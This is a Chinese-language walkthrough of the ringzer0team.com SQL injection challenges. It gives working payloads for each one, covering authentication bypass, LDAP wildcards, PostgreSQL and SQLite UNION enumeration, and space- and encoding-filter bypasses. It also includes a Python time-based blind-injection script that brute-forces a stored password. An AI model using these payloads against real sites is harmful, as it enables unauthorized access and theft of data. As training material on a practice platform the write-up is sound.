SQL注入实战教程:从入门到进阶
前言
本教程基于ringzer0team.com网站的SQL注入挑战题目,由浅入深地讲解各种SQL注入技术。SQL注入是一种常见的Web安全漏洞,攻击者通过构造恶意输入来操纵后端数据库查询,从而获取未授权的数据或执行未授权的操作。
基础SQL注入
1. 最简单的SQL注入 (point 1)
题目:最基本的SQL注入模式
解决方案:
username: admin'#
password: 1
原理:
#是MySQL的注释符号,使得后面的密码检查被注释掉- 实际执行的SQL:
SELECT * FROM users WHERE username='admin'#' AND password='1'
获取的flag:FLAG-238974289383274893
2. 错误回显注入 (point 2)
题目:ACL rulezzz the world
测试过程:
- 输入
username=admin'得到错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 4 - 构造闭合:
username=admin' or 1#
原理:
or 1使得条件永远为真#注释掉后续条件
获取的flag:FLAG-sdfoip340e89rfuj34woit
绕过过滤技巧
3. 绕过注释符过滤 (point 2)
题目:Login portal 1
过滤内容:#、--、=被过滤
解决方案:
username=admin' or 'a' like 'a&password=1
原理:
- 使用
like代替= - 构造恒真条件
'a' like 'a'
获取的flag:FLAG-4f885o1dal0q1huj6eaxuatcvn
4. 长度截断注入 (point 2)
题目:Random Login Form
解决方案:
- 注册时:
username=admin 1
password=1
- 登录时:
username=admin
password=1
原理:
- 利用数据库对长用户名的截断处理
- 注册时插入带空格的用户名,登录时使用短用户名匹配
获取的flag:FLAG-0Kg64o8M9gPQfH45583Mc0jc3u
高级注入技术
5. LDAP注入 (point 2)
题目:Just another login form
解决方案:
username = *
password = *
原理:
- 这是LDAP查询的特殊语法
*在LDAP中表示通配符
获取的flag:FLAG-38i65201RR4B5g1oAm05fHO0QP
6. PostgreSQL注入 (point 2)
题目:Po po po po postgresql
解决方案:
username=admin') or 'a' like 'a') -- &password=1
原理:
- PostgreSQL语法与MySQL略有不同
- 需要正确闭合括号
--是PostgreSQL的注释符号
获取的flag:FLAG-mdeq68jNN88xLB1o2m8V33Ld
盲注技术
7. 时间盲注 (point 3)
题目:Don't mess with Noemie; she hates admin!
测试过程:
username = admin' or sleep(5) or 'a' like 'a
确认sleep生效后构造:
username = 1' or 1 or '
password = 1
原理:
- 构造的SQL:
SELECT * FROM users WHERE username='1' or 1 or '' AND password = '1' or 1使得条件永远为真
获取的flag:FLAG-Yk3Hfovvb5kALU9hI2545MaY
8. NULL条件绕过 (point 3)
题目:What's the definition of NULL
提示:WHERE (id IS NOT NULL) AND (ID = ? AND display = 1)
解决方案:
0) OR (ID IS NULL) OR (1=2
编码为base64:
?id=MCkgT1IgKElEIElTIE5VTEwpIE9SICgxPTI=
原理:
- 构造条件绕过
IS NOT NULL检查 - 最终SQL:
WHERE (id IS NOT NULL) AND (ID = 0) OR (ID IS NULL) OR (1=2 AND display = 1)
获取的flag:FLAG-sQFYzqfxbZhAj04NyCCV8tqA
联合注入实战
9. 联合注入获取数据 (point 3)
题目:Login portal 2
步骤:
- 确定回显位置:
username = 1' union select 1,2#
- 获取表名:
username = 1' union select (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),2#
- 获取列名:
username = 1' union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),2#
- 获取密码:
username = impossibletoguess' union select sha1(1),sha1(1)#
password = 1
原理:
- 通过联合注入逐步获取数据库结构信息
- 发现密码是sha1哈希
获取的flag:FLAG-wlez73yxtkae9mpr8aerqay7or
绕过空格过滤
10. 使用换行符绕过空格 (point 4)
题目:Quote of the day
解决方案:
?q=2%0aunion%0aselect%0a1,2#
原理:
- 空格被过滤,使用
%0a(换行符)代替 - 逐步获取数据:
?q=2%0aunion%0aselect%0a1,(select%0agroup_concat(TABLE_NAME)%0afrom%0ainformation_schema.TABLES%0awhere%0aTABLE_SCHEMA=database())#
获取的flag:FLAG-bB6294R6cmLUlAu6H71sTd2J
SQLite注入技巧
11. SQLite特殊查询 (point 4)
题目:Thinking outside the box is the key
步骤:
- 获取SQLite版本:
?id=2 and 1=2 union select 1,sqlite_version() from sqlite_master
- 获取表名:
?id=2 and 1=2 union select 1,((select name from sqlite_master where type='table' limit 0,1)) from sqlite_master
- 获取flag:
?id=2 and 1=2 union select 1,((select flag from ajklshfajks limit 0,1)) from sqlite_master
原理:
- SQLite使用
sqlite_master作为系统表 - 通过联合注入获取表结构和数据
获取的flag:FLAG-13lIBUTHNFLEprz2KKMx6yqV
多重编码绕过
12. 绕过严格过滤 (point 4)
题目:No more hacking for me!
过滤逻辑:
urldecode(addslashes(str_replace("'", "", urldecode(htmlspecialchars($_GET['id'], ENT_QUOTES)))))
解决方案:
?id=0%252527 union all select 1,tbl_name,3 FROM sqlite_master WHERE type=%252527table%252527 limit 0,1 --
原理:
- 使用双重URL编码绕过过滤
%252527解码后是%27,即单引号
获取的flag:FLAG-ev72V7Q4a1DzYRw5fxT71GC815JE
盲注脚本示例
13. 基于时间的盲注 (point 7)
题目:Login portal 4
Python脚本:
import requests
url = "https://ringzer0team.com/challenges/6"
cookie = {"PHPSESSID":"vtqgjp8amva1fsr6eolee70af4"}
flag = ""
for i in range(1,1000):
for j in range(33,127):
data = {
"username":"1' || if((ascii(substr((select password from users limit 0,1),%s,1))=%s),sleep(3),1) || '"%(i,j),
"password":"1"
}
try:
r = requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
except:
flag += chr(j)
print(flag)
break
原理:
- 使用
if(condition,sleep(3),1)构造时间延迟 - 通过响应时间判断字符是否正确
- 逐步爆破出密码:
UrASQLi1337!
获取的flag:FLAG-70ygerntbicjdzrxmm0rmk0xx2
总结
本教程涵盖了从基础到高级的各种SQL注入技术,包括:
- 基本注释符注入
- 错误回显利用
- 各种过滤绕过技巧
- 不同数据库的特殊注入方法
- 联合注入获取数据
- 盲注技术(布尔盲注和时间盲注)
- 编码绕过技术
每种技术都配有实际案例和详细解释,帮助学习者全面理解SQL注入的原理和防御方法。在实际应用中,这些技术往往需要结合使用,并根据目标环境灵活调整。